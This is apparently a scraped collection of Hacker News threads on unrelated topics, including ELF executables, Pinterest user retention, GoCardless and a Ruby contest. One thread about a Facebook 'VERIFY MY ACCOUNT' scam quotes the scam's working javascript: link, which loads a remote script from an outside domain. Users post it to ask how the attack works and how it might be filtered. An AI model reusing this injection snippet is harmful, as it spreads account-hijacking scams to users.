<comment><USER7> There were only two operating systems written in high level languages before Unix: MCP and MULTICS. Burroughs mainframes had a 48 bit word, and Honeywell mainframes had a 36 bit word. Burroughs and Honeywell were interested in selling those machines, not in spending considerable effort porting their systems to competitors' hardware with smaller word sizes. There was no business value in doing this.

Unix, which was very much influenced by MULTICS, initially ran on 16 bit machines. It's a lot easier to scale up (to run on Vax) than scale down, which is why Stallman based his GNU project around Unix rather than attempt to port ITS.</comment></comment></comment></comment></comment></comment></comment>


Richard Feynman on fire - <AUTHOR> https://www.youtube.com/watch?v=N1pIYI5JQLE <comment><USER2> I'm going to go ahead and paste the top comment from YouTube here:

 _"They say simplicity is genius. School teachers should watch and learn from this man. Imagine the kid 's imaginations being stoked by this approach."_

Indeed.

</comment><comment><USER3> Good, the video shows Feynman talking about fire and not Feynman burning. I was a bit worried there.</comment>


Russians possibly hacked 20 ships' GPS in the Black Sea [Translated] - <AUTHOR> http://translate.google.com/translate?hl=&sl=auto&tl=en&u=https%3A%2F%2Fnrkbeta.no%2F2017%2F09%2F16%2Fover-20-skip-gps-hacket-i-svartehavet%2F&sandbox=1 <comment><USER2> Perhaps it is not intentional hacking:

As far I remember GPS signals are incredibly small (-120db). Actually tests were made by the FTC, when a Telco (LightSquared) asked to use for satellite usage, a frequency band reserved for terrestrial usage (LTE). Those tests shown how GPSs become easily erroneous if there are more powerful radio sources in vicinity, that use close frequencies.</comment>


Ask HN: How much do you make in Finland? - <AUTHOR> I live in Portland, Oregon and have about 3 years of experience in full stack web. I'm thinking about moving to Helsinki, Finland to work for a start up, but have no idea what salary to ask for. <comment><USER2> This shoud be helpful: [https://teleport.org/compare/portland-or-and- helsinki/](https://teleport.org/compare/portland-or-and-helsinki/)

For salary distribution comparison deep dive: [https://teleport.org/salaries/](https://teleport.org/salaries/)

And Helsinki salaries: [https://teleport.org/cities/helsinki/salaries/](https://teleport.org/cities/helsinki/salaries/)

<comment><AUTHOR> Those look like excellent resources. Thank you!

</comment></comment><comment><USER3> I make about 3400 €/mo with 8 years of work experience as a software engineer, though, not in that area where living expenses are more expensive.

What I have heard over the years is that, you should not accept anything under 2000 €/mo, someone how just graduated can ask for 2500 €/mo and 3500 €/mo is comfortable income to live around Helsinki area

</comment><comment><USER4> More to the point, how many Big Macs or pints of beer can you buy with a weeks pay.

<comment><AUTHOR> yes, lattes and pints of beer were my first concerns ;)</comment></comment>


Drift simulation of MH370 debris using superensemble techniques - <AUTHOR> http://www.nat-hazards-earth-syst-sci.net/16/1623/2016/ <comment><AUTHOR> An easily understandable report of the same research:

MH370: Missing jet 'could be further north' \- [http://www.bbc.co.uk/news/science- environment-36904981](http://www.bbc.co.uk/news/science-environment-36904981)</comment>


Manually creating an ELF executable - <AUTHOR> http://www.negrebskoh.net/howto/howto_elf_exec.html <comment><USER2> If you liked this, you'll probably like even more "A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux" ([http://www.muppetlabs.com/~breadbox/software/tiny/teensy.htm...](http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html)). Last time I checked, the teensy executable had stopped working around Linux 2.6.26 or 2.6.27, and I don't know why.

Relatedly, I wrote a tiny quasi-Forth in itself that generates ELF executables directly at <https://github.com/kragen/stoneknifeforth>. Its executables also stopped running around Linux 2.6.27, and I still haven't bothered to figure out why.

<comment><USER3> That's odd. I'm currently running 2.6.32, and it's working fine for me. Maybe it was a transient problem?

Feel free to email me if you notice any of the teensy executables not working. I don't follow the bleeding edge very closely, but I do make a serious effort to keep all of them working.

<comment><USER4> Works on 3.2.0 too. I do get:

      ~$ file a.out
      a.out: ELF 32-bit invalid byte order (SYSV)

But that's probably to be expected, given how close to the edges of the ELF spec it treads :)

</comment></comment></comment><comment><USER5> One of the cool things about "personal computers", when they were not synonymous with "IBM PC" or x86 box, was that you had total control over every bit and byte that went into them. Sometimes you had to use switches to manually set memory contents, sometimes there was a hard coded 'boot loader' which would do that for you. The coolest demo I think I've seen in this space was an FPGA computer design where the first download into the FPGA made it a serial device that could write memory, and then you erased that and loaded a computer which would then read that memory and execute it.

I believe that one of the reasons the Arduino has the appeal it does is because you can know everything there is to know about the program it is running. That is a lot of fun for a technologist.

It would be fun to have this blog posting written from within a debugger. I always found it intriguing to 'debug a program into existence' as it were.

<comment><USER6> It's kind of the same deal now with the Raspberry Pi, except for the fact that it uses RISC and not x86. It's a great tinkering platform.

Now, if only somebody would make a ring-0 OS for ARM... Now THAT would be fun.

<comment><USER7> You mean like Active Oberon?

<http://www.ocp.inf.ethz.ch/wiki/>

Not sure how workable this version is, but you can check on the forums,

ftp://ftp.lrz.de/transfer/BlueBottle-A2/ARMRelease.zip

You just need to enjoy using Pascal syntax languages for system programming.

</comment></comment></comment><comment><USER6> So essentially, this is writing an application in machine code?

This is so fascinating I'm starting to get palpitations. I've always wanted to know how to program in machine code. I've looked through the web countless times in search of something like this, and haven't ever found it, until now.

Thanks for the great insight. This kind of stuff makes C/C++ look like stuff for total newbies. Getting this close to the hardware really is quite mind- boggling.

<comment><USER8> > I've always wanted to know how to program in machine code.

1) Decide which processor you want to program. I'm going to use a Z80, since that's one I'm familiar with.

2) Get hold of a good book, making sure it includes a section that exhaustively describes each instruction and the machine code for each. Eg. "Programming the Z80" by Rodnay Zaks. The microprocessor's datasheet will generally do if your familiar with other processors.

3) Read the book, cover to cover.

4) Make three vertical columns on a sheet of paper.

5) Write your program, in assembly language, in the middle column. Use alphanumeric labels (label means variable name) for all addresses.

6) Decide at what address you want your program to start (the origin)

7) Write the numeric address in the left hand column, next to the first instruction.

8) Look up the machine code, for the instruction in the middle column, in the Zaks book.

9) Write the machine code in the right hand column.

10) Add the length of the instruction (# bytes) that you have just written down to the address, and write the answer on the next row of the left hand column. You might have to leave labels in place for instructions that refer to parts of the program that you have not yet assembled.

11) Repeat from step 8, until the entire program has been assembled.

12) Go back and fill in the numerical addresses for any addresses that are still labels.

13) Now you have to get the program in memory. We're going to assume that a programming language, such as BASIC is available. The alternative is a keypad with address/data entry functions and a method to get an initial value into the program counter.

14) Create a big array, in BASIC, with all the numbers from the right hand column.

15) Write a loop which POKES each numeric value into memory, starting from the origin address.

16) Transfer execution to the origin address, using the a USR(nnnn) instruction, where nnnn is the origin address.

17) Hopefully your program works, but if not, make changes and go back to step 4 until your program works.

Enjoy! In time, the process gets quicker, as you eventually remember the machine code for the the most common instructions and don't have to refer to the book.

If you're writing timing critical code, have a fourth column, in which you record the number of clock cycles for each instruction to execute, and sum those numbers to determine execution time. If you have a target execution time, you will need to add/remove instructions to achieve the target.

<comment><USER9> If I had a nickel for every hour I spent doing this as a teen... (Sinclair ZX-81, then TRS-80 Model 1.)

Also, that Zaks book rocks. To this day one of the best programming references I've ever used. <http://www.z80.info/zaks.html>

</comment></comment></comment><comment><USER10> This is great. I've had low-level stuff on my mind lately. I was thinking about where to start, either writing my own binary to the boot sector of a disk, or booting up MS-DOS and going from there, or from linux or windows and starting with machine code from there. So this would be perfect. (I was thinking of maybe implementing FORTH. Interesting that kragen mentions a "tiny quasi-Forth" that he made.)

</comment><comment><USER11> We used to do it with toggle switches, back in the day (long before ELF binaries existed, though).

<comment><USER12> Well, only the boot loader. You could use paper tape after you had that keyed in :)

<comment><USER8> My favourite boot-loader story was told to me by one of the old-hands on the Jindalee Radar, when it was still a research project. Jindalee had a manned receiver station and a remote transmitter station, about 100km away. They were connected via a radio link, and to start with, the PDP at the remote site had to be booted by keying in the boot-loader over the radio link. If you lost the radio link, you had to start again...and again... and again...

</comment></comment></comment><comment><USER13> At some point soonish I intend to have a go at loading dynamic libraries in bare metal on the Raspberry Pi. I'll be on the lookout for stuff like this for .so's. Suggestions welcome.

</comment><comment><USER14> I am voiceless: why would the f*ck would someone loose such that much time on a trivial, yet annoying task?

That is the first lesson you have in assembly language: program in assembly language, then in C because it spares you the time (and the mistakes involved in the process) to do such a thing.

Thousands of men year efforts and wisdom ruined in a post, showing how people have too much time on their hands, and so few imaginations (well he could have written something interesting on how to display p0rn pictures in ASCII art at least).

<comment><USER15> Having spent my years climbing up and down the ladder of abstraction, I think your analysis is _way_ off the mark. This is a great way to learn how ELF works (and binaries in general), learn how machine code is formed, etc. Is it an actually 'useful' task, that produces a useful end product? Yes: knowledge. Knowledge that isn't easy to acquire.

You won't ever do this in the Real World (TM), but it's a fantastic way to get into things.

<comment><USER14> I studied physics, and I learnt actual programming and assembly language: I actually did this in the real world!

What do you learn in Computer Science then?!

Gibbering useless concepts that makes you non-sensical experts in the field of not delivering your software neither in time, nor in the frame of the specification? Or just

<comment><USER16> Why exactly does this article make you so enraged?

<comment><USER17> Indeed. He's telling us much more about himself than he is anything relevant to the article.

If you see nothing but a huge waste of time in this post, you're probably on the wrong site. HN in its prime would have _really_ pissed you off, no doubt...</comment></comment></comment></comment></comment>


Is it possible to reacquire a wifi signal from an iphone app? - <AUTHOR>

It seems that you have to exit the app so that your iphone/ipod touch will try to reacquire the signal. <comment><AUTHOR> Also annoying: when the signal was lost, the http request took quite a long time until it failed. I'm using stringWithContentsOfURL.</comment>


User retention at Pinterest: tackling an ambiguous problem - <AUTHOR> https://medium.com/@Pinterest_Engineering/user-retention-at-pinterest-tackling-an-ambiguous-problem-32e65faaaa1 <comment><USER2> The fact that registration is required for no obvious reason kinda makes the site a no-go zone for me. I only occasionally land there via Google Image search. Maybe I'm just not the right target audience, since I'm not a social media guy. For my specialized interests there are better aggregators such as specific subreddits / HN. Forcing registration is part of the user retention strategy, but for me it makes using the site a non-starter.

<comment><USER3> the site disgusts me because it pollutes google image searches so thoroughly and combined with the mentioned required registration just makes it poison overall.

when I have to filter a site to get results I can use there is a problem and there needs to be an easy method to permanent filter such sites.

<comment><USER4> I wish I could filter Pinterest and more importantly Quora from all search results forever. I consider those sites deceptive and malicious spam.

Google released a Chrome addon that filters sites, but this doesn't help users of other browsers and it hadn't been updated in over three years.

<comment><USER5> Google briefly had a feature (back in the ExpertSexChange days) where you could ban a domain from your search results. I miss that feature. Now Pinterest gets blocked at DNS via pi-hole. At least it is something.

<comment><USER6> I am using Firefox and use "SearchMage - Search Enhancer" add-on for that

[https://addons.mozilla.org/en-US/firefox/addon/searchmage- se...](https://addons.mozilla.org/en-US/firefox/addon/searchmage-search- enhancer/)

I found it here a few months ago actually and am quite happy with it, It has a few features that include infinite scroll that you can turn off or on.

</comment></comment></comment></comment></comment><comment><USER7> > _When I joined the growth team at Pinterest_

There it is, right there. 'Growth team' \- a team dedicated to using every dirty trick in the book to retain users. Facebook has one too, and that team was responsible for all the shady cross-app data sharing on peoples phones.

Instead of treating your users as 'assets' simply to be owned and controlled, why not actually ask them about their experience of using your service? Sure, you'll only get a few percent of responders but it's a start.

Also, these sites need to factor in that a significant number of people are reducing their social media usage, and this includes sites like Pinterest. Sometimes a service just reaches the end of it's life, and that's ok.

Personally I really dislike Pinterest, I do not see the purpose it serves, and as a non Pinterest user, I have issue with Google searches throwing up Pinterest links that are of no use to me whatsoever.

<comment><USER8> I like Pinterest. I'm bad at decorating, and I'm a bad cook, so having recipes and decorating stuff that I can sift through and save into distinct idea books is nice. However, the website/app is basically glorified bookmarks. Trying to turn this into a Social Networking Empire is just pure greed, and I agree with you: the "Growth Team" concept is wretched. Sure, it's an interesting problem from a CompSci perspective, but the underlying motivations make me ill. Stop trying to manipulate your users. If they like and have a use for it, they'll use it. If they no longer have a use for it, they'll stop. BUT, if it's good enough, then the incoming users should eclipse the outgoing, and you'll float on just fine. Alas, for Social Network Empire wannabes, that's just not good enough!

<comment><USER9> I really enjoy using are.na ([https://www.are.na/about](https://www.are.na/about)) for collecting images and random bits of text into spaces where I can view them together. It's a small, creative community and definitely not of the repost, repost, repost quality that you find at Pinterest. It is run by a small team and they offer a very useful free plan for getting started and membership is only $45/year.

I am not affiliated are.na. I am just a happy user.

</comment></comment></comment><comment><USER10> Pinterest is that it's a fantastic way to browse collections ("recipes", "decorating ideas", "gift ideas") which are both stable and visual.

I use Pinterest on a weekly basis for recipes because my wife and I share a board. Evidently I'm a power user by their metric.

But the problem is they are bound by impossible growth projections, which prevent them from making Pinterest into the best once-weekly-recipe-tool.

In my opinion their search for social media dominance is a real drawback.

<comment><USER11> You can tell they don't want to be a useful tool, rather they want to suck in as many users as they can and extract as much eyeball time as they can.

I have multiple friends who are addicted to just scrolling through pinterest. The few times where I've thought it might be useful I've been stopped from using it and told to make an account (I don't want to post anything back to them, I don't see why I should have to keep track of _yet another_ set of credentials just for them.)

If they where less aggressive toward their current and potential users and instead looked at them with realistic and helpful attitude they would probably be awesome. Right now I want nothing to do with them and I personally stay away.

</comment></comment><comment><USER12> As much as I hate it, I suspect there is one answer with nearly perfect correlation as to why Pinterest is losing users and their engagement: Instagram.

</comment><comment><USER13> It's interesting that at no point in the process is any mention made of communicating with the users. I appreciate that detailed useful feedback is hard to get, especially from people who are disengaging already, but surely it has to be in there somewhere?

<comment><USER14> > While we were building the model we also wanted to figure out what to do for > these Pinners once we could target them. We thought it would be best to ask > them, as they surely would know why they were using Pinterest less. So we > did an in-product survey for a sample set, and found the most common reason > for not using Pinterest was that they got busy.

They did mention contacting users and, as is usual, got only the symptom, not the underlying cause. Talking to users is great to understand why something happens is great, but it has to be translated through deep product insight to be useful.

<comment><USER15> Why would "being busy" be the symptom and not the cause?

I used similar platforms in the past. When I have time I'd spend a lot of it on there, and when I didn't have time anymore (new job, etc) I didn't use the platform much. This is perfectly normal and no amount of "retentions" or "re- engagement" bullshit will make me spend more time on there unless they pay me enough where spending time on the platform becomes more lucrative than my day job.

<comment><USER16> Because everyone is busy, and the users probably always were busy. The thing to figure out is why they were using pinterest before but now they aren't.

That means what's changed is now it's not enough of a priority to use vs other things in their busy lives. The next interesting "why" question is not "Why are you busy?" but something like "Why isn't pinterest valuable enough for you to use, given that you are busy?"

If you want people to use your product, you need to focus on things you control (making the product more valuable to users) rather than shrug your shoulders and give up at things you can't control (the fact that your users are busy).

</comment></comment></comment></comment><comment><USER17> For me, Pinterest works exactly how I want it to - as a store for inspiration images. I use it heavily for storing concept art to later draw inspiration from when doing game design, digital art, or screen-printing designs. Granted, I don't find the search helpful at all and the embedded pins are terribly irreverent and annoying.

If you are a Pinterest user and are interested in a large collection of fantasy/cyberpunk artwork, you can see how I use it here (registration required of course):

[https://pinterest.com/thehideoutgames/](https://pinterest.com/thehideoutgames/)

<comment><USER18> Be careful here — I maintained several active boards with quite a few followers, but was flagged for "inappropriate images" which Pinterest mods themselves deleted.

In the main, I'd only ever pinned images I found on the site itself, so I thought "why pick on me, I'm not the one who originally pinned it?"

But I didn't go though my stuff and look for any other TOS violating images (I really didn't think I had any) and then I was perm-banned. You have no recourse once that happens.

Caveat emptor — its puritanical standards are likely to bite anyone who plays outside the recipes and sewing categories into anything interesting in the art and photography domains.

Screw you, Pinterest.

</comment></comment><comment><USER19> I can forgive the forced login but i cant forgive the extra steps and buggy login process - I cant count how many times I've ended up trying to register rather than login.

also the recommendations get old quick its just my previous searches aggregated gets boring quick. The instagram explore page has my valuable time these days - it uses my searches plus things related to those to find new things on many topics and ability to say "not relevant" is awesome - all i need now is the ability to block anything "#lifehack"!

</comment><comment><USER20> Pinterest has an issue with their support. I was using it for a while to gather inspiration on a particular subject. It just started crashing with a server side error message. I submitted a bug report and the response was lame. I kept saying look at your own server side error message. You must have logs to look at. I don't think a human saw my bug responses. Now I don't use it at all.

<comment><USER21> In fairness, this is the support you get from pretty much all websites. I stopped submitting bug reports entirely, it only leads to frustration.

</comment></comment><comment><USER22> Sick and tired of registrations tracking spying builtin microphones on new spytv calling it smart tv for who, I get no benefit out this game forced upon all users. Terms and service agreements of bloatware, websites never improve my viewing pleasure or work better forcing users to conform get stuffed. Hit the Back button best voting option I have right now. I have learned to live without G-You-TwitFace, even while on news.ycombinator if website has pop-up sign-up begging, forced to conform and jump through hoops I hit the back button, mostly enjoy reading the comments that's the real story people talk about, and where you find the best information. Thxs for letting us vent, other than that everything is A OK thxs</comment>


"Let's settle this in a Ruby programming contest" - <AUTHOR> http://jeffkreeftmeijer.com/2011/lets-settle-this-in-a-ruby-programming-contest/

<comment><USER2> Wait, so the current challenge is to mosaic a 225px-wide image into 10px chunks, without changing the overall size?

Not even the power of Ruby can make 225 % 10 == 0

<comment><USER3> No, but you can still use 10x10 chunks where possible and use chunks as close to 10x10 as possible for the rest.

<comment><USER2> Sure, but that wasn't the specced challenge. If you can bend the rules, what becomes of the game? [edit: moved reply to nest]

</comment></comment></comment><comment><USER4> Fun idea, I will definitely try it out!

By the way:

      if ( ready? && set? ) { fight! };

ain't valid ruby code :).

<comment><USER5> How about:

       if ready? && set? then fight!

<comment><AUTHOR> I know the code snippet doesn't actually work, but I used it because it looks pretty cool. `if ready? && set? then fight!` is the first Ruby snippet one that I really like. :)

<comment><USER6> This is very cool. It seems like a well thought out process too. Any plans on doing languages other than Ruby?

<comment><USER7> I'd be down for a perl regex fight. The great part about that is the participants would look like they were typing obscenities at each other.

</comment></comment></comment></comment></comment><comment><USER8> Cool, but man, could that website possibly take up less of my horizontal screen space?

<comment><USER9> The huge super-dotty background actually makes my monitor sound different when I have his page open. I can literally hear the scanlines firing. And this is a laptop LCD. I've never heard this sound before.

</comment></comment><comment><USER10> Really cool idea, it would be even more awesome if you can extend it to other languages, like python etc.

<comment><USER11> Yeah, something like that but for python would be great, like <http://www.pythonchallenge.com/>

</comment></comment><comment><USER12> Is this supposed to be a successor of the ruby quiz series?

</comment><comment><USER13> "TopCoder for real world problems"! Great idea. Hope a lot of open source stuff comes out of this or at the very least helps current projects.

</comment><comment><USER14> You want to see the real world of Ruby programming? The one they don't show you in magazines or the E Channel?</comment>


Regular Payments in 20 minutes with GoCardless - <AUTHOR> http://blog.gocardless.com/post/15733539109/implement-gocardless-in-20-minutes

<comment><USER2> This looks like the first UK alternative to Stripe however it appears you can't accept cards from outside of the UK:

Can I charge non-UK customers? You can charge anyone with a UK bank account. Very soon you will be able to charge anyone with an EU bank account.

Source: <https://gocardless.com/faq>

<comment><USER3> given the 1% transaction fee I'm guessing they don't accept credit cards at all - payments are exclusively through bank transfers. Can anyone from gocardless confirm is this is correct? If so, I think the site could be a little clearer.

In any case, this looks like a useful service with or without card processing, and the more "instant" payment alternatives there are to paypal, the better. Also +1 for some innovation on this side of the pond.

<comment><USER4> Tom from GoCardless here.

We currently accept UK bank-to-bank payments - customers enter their account number and sort code on the checkout page. We'll work on making this clearer on our landing page - thanks for the feedback. We'll be rolling out across Europe in the next few months.

GoCardless is particularly good for subscriptions & regular variable payments, as we're based on the UK direct debit network.

<comment><USER5> Bank accounts and sort codes are not particularly secure - I might for example give these out to someone making a payment to me, and some businesses publish this information as a matter of course.

What additional checks do you undertake to ensure that the person using the service to make a payment is the owner of the bank account in question?

(I'm not saying Credit Cards are perfect, but they do allow for a lot of additional information to be verified to confirm the cardholder.)

<comment><USER4> We work with the banks and a number of third-party identity-checking providers to verify that the bank details match the identify given. There's also a lot of additional stuff going on to match the person at the keyboard with the identity provided.

It's worth noting that there's a very strong consumer guarantee in case of fraud: [http://www.bacs.co.uk/bacs/businesses/directdebit/collecting...](http://www.bacs.co.uk/bacs/businesses/directdebit/collecting/pages/customersrights.aspx)

</comment></comment></comment></comment></comment><comment><USER6> I've always liked the idea of GoCardless, and we've been seriously considering implementing it on an upcoming service, but our main concern has always been that clients will be far less likely to want to set up a direct debit than they will do a one-off payment on a card.

People are really used to buying stuff with a card online, but a direct debit? Not so much. Does anyone have any figures on how GoCardless affects conversion rates?

(I'm aware that it would always be possible to have GoCardless as an option, but that would have its own impact on conversion rates).

<comment><USER4> I think if you're talking about one-off, it's a fair point. With regular payments, UK consumers are much more comfortable setting up direct debits. Just under 80% of UK adults currently have at least 1 active direct debit set up, for example.

<comment><USER6> Sure, most people have active direct debits set up, but isn't the number of those are set up solely through the internet somewhat smaller? Furthermore, most people seem to associate direct debits with a certain class of business, usually utility companies. In my experience, it just isn't common for someone to set up and manage a direct debit online.

So yes, whilst one-off payments are significantly larger, I'd still be wary of a reduced conversion rate through GoCardless. Of course, if I had a very narrow margin, your incredible rates might easily redeem the difference in revenue, but without hard numbers it's difficult to make a business decision.

</comment></comment></comment><comment><USER7> Great to see Matt & team starting a blog, can't wait to integrate GoCardless into our upcoming mobile app.

<comment><USER8> Thanks Viktoras! Just drop us an email at firstname.lastname@example.com if we can do anything to help

</comment></comment><comment><USER9> a much better name than the previous groupay (this appears to be the same company).</comment>


Facebook's ==VERIFY MY ACCOUNT== virus - <AUTHOR>

So I don't know much about security, and I don't know how widespread this is, but right now, I'm getting a bunch of friends posting to my wall something along the lines of:
Please do your part in PREVENTING SPAM by VERIFYING YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to begin the verification process...
And surprisingly, there is a link, right next to Like and Comment that says == VERIFY MY ACCOUNT == ...very authentic looking.
the "verify my account" link executes this bit of javascript: <a href="javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();">==VERIFY MY ACCOUNT==</a>
which as you can see, executes this script: http://pelorak.info/verify.js
I don't know much about how this works, but is there anyone who can shed light on how this works and why it works? <comment><USER2> We are really surprised Facebook hasn't been hit with before, how do they allow running remote JavaScript execution. This should be easy to detect. Here is the JavaScript that is executed: <http://plucketenhe.info/verify.js>

The domain (plucketenhe.info) resolves to: 220.127.116.11, and whois on that IP: <http://www.ip-adress.com/whois/22.214.171.124>

<comment><AUTHOR> so in other words, facebook is kind of dumb for allowing remote javascript execution...

<comment><USER2> Well, it can be tricky, often times the XSS attack is masked quite deeply, but there are known methods. PHP strip_tags will assist, though would need to be beefed up a bit to handle the onclick, onhover, onblur, onfocus, etc events. In this particular case, simply looking for `javascript:` would have done the trick.</comment></comment></comment>


C++ Mathematical Expression Toolkit Library - <AUTHOR> https://github.com/ArashPartow/exprtk

<comment><AUTHOR> The C++ Mathematical Expression Library (ExprTk) is a simple to use, easy to integrate and extremely efficient mathematical expression parsing and evaluation engine. The parsing engine supports various kinds of functional, logic processing semantics and is very easily extendible.</comment>


Show HN: I built a simple monitoring dashboard app for my life - <AUTHOR> https://www.linkedin.com/pulse/weekend-side-project-justin-lloyd/ <comment><USER2> Could you tell me a bit more about how your beacons work? I'd love to do something similar tracking where/how I spend time around the house

<comment><AUTHOR> For the phones I use a combination of WiFi access point connection on my Ubiquiti APs in the home, along with a small swarm of strategically placed Bluetooth low-energy beacons around the home. A beacon in the drawer where we keep the wallets, one by the coffee machine where there is a charging cable, one by each nightstand, one in each bathroom, one by the kitchen computer, one on the dining table, one at each desk in the respective home offices, and so forth. I can query the Unifi API to determine which AP the phone is attached to to get a coarse "Justin's phone is attached to the dining room AP." The phones roam from AP to AP correctly so long as you dial down the power on the AP so it only has a 3m or 5m range. Multiple APs in the house let you roam easily and give good signal no matter where you are. I also query the beacons at the phone's location to determine a more precise pinpoint.

For the wallets I use passive RFID tags (sourced from Aliexpress) and a couple of wide and narrow RFID sensor stations, which either run over PoE (only have two of that model) or are powered by a wall wart and connect to the WiFi and they can be easily polled. "Your wallet is in the dining room" gives me the wide range -- around 7m radius in real world conditions -- and multiple wide range RFID sensors can then be queried and the positions triangulated (though not entirely accurately) based on response.

The narrow range RFID sensors are strategically placed and cover about 18" (45cm) radius. That gives me a more granular "your wallet isn't where it is meant to be" report but it does give me "Your wallet is in the 'going out the door, take these items with you' drawer" to make sure the wallets are put back after usage.

For the pets I use a device known as a Loc8tor (British company I think) that is attached to the collars, essentially active RFID (not quite, but that description will do for this discussion), and several custom built sensor location hubs.

For the tracking I took a lot of ideas from supply chain management and retail environment solutions. Many years ago I worked on a "Big Brother" project for a high end shopping mall that could do all sorts of scary tracking of phones long before smart phones were a thing, that fortunately never launched. Now I look back on that, I shudder at the implications. I also worked on a project for the hospitality industry that can accurately track a guest's RFID tag worn on a lanyard or a wrist strap as they move about a facility.

There's a lot of things I would change if I were doing this over again, or spending any kind of time on it beyond a four day weekend. I would also not use active RFID at all and just go fully passive. And I am not even sure I would use BLE beacons for phone tracking, instead perhaps opting for more WiFi APs to cover smaller areas. You can dial down the power to an AP so it would serve the exact same purpose and Unifi make some wall mounted APs that are very nice. That said, it would require a lot more cable runs in the home to do that, that I am not willing to undertake.

If all you want is a heat map, and you have multiple WiFi APs, depending on the brand of access point, you can easily track your phone as it hops from AP to AP. Some of the research in how the WiFi radios of an access point respond to a person being in proximity to them (a few metres) could also be deployed for just simply tracking people.

The WiFi AP roaming and tracking is already a thing built-in to most enterprise devices. The WiFi of the company where you work already knows where you are, with reasonable certainty, and they know precisely how long you spent in the bathroom and pretty much you're reading in there. The only thing I really did different was "Weasley Clock" the phone tracking in to an easily read smart home dashboard.</comment></comment>


Ask HN: "Join ex-Googler team at *" - <AUTHOR>

Always wonderer what people thought when they see "Join ex-Googler team at *" in a job listing.  A lot of such listings are for YC companies without comment threads. <comment><USER2> Ex-googlers come in a variety of forms, not all are suited to the startup world. I am an ex-googler but came from a startup and then went back to another startup. Many ex-googlers have only worked in large companies which I feel in early stage startups can be quite a detriment.

</comment><comment><USER3> You can't comment on job listings. They get special treatment, see [https://news.ycombinator.com/jobs](https://news.ycombinator.com/jobs) (I'm fine with that).

I ignore the ex-Googler part. Same with ex-AOL or ex-Goldman Sachs. It's a company of 50,000 people. I'm surprised there aren't 100s of startups from ex- Googlers yet.

<comment><USER4> There are 100s of ex-googler startups. I've personally worked at 2 between 2008 and 2011, then went to google, then started my own ex-googler startup!

</comment></comment><comment><USER5> Wow, that's a good idea.

I should scan my resume for the most impressive "ex-*" keywords and use it as a marketing and negotiation tool!</comment>


Elon Musk speaks with Reuters [video] - <AUTHOR> http://www.reuters.com/video/2013/06/19/musk-time-to-tackle-dealer-dispute?videoId=243437843&videoChannel=6

<comment><USER2> Don't know if it's just me, but the volume is very low.

+1 for a great SV entrepreneur seeing through a childhood dream.</comment>


A clipboard history plugin for Sublime Text 2 - <AUTHOR> https://github.com/kemayo/sublime-text-2-clipboard-history

<comment><AUTHOR> Pattern to my making these things: every time I hit a feature that I miss from TextMate I write a plugin.

This one was actually interesting, in that it involves "hooking" an existing keybind, which there's no clear functionality for. So I'm abusing keybind contexts and event listeners to fake it.

<comment><USER2> I've taken to doing the same thing, though I just did my first one the other day:

<https://github.com/Hovertruck/sublime-pyflakes></comment></comment>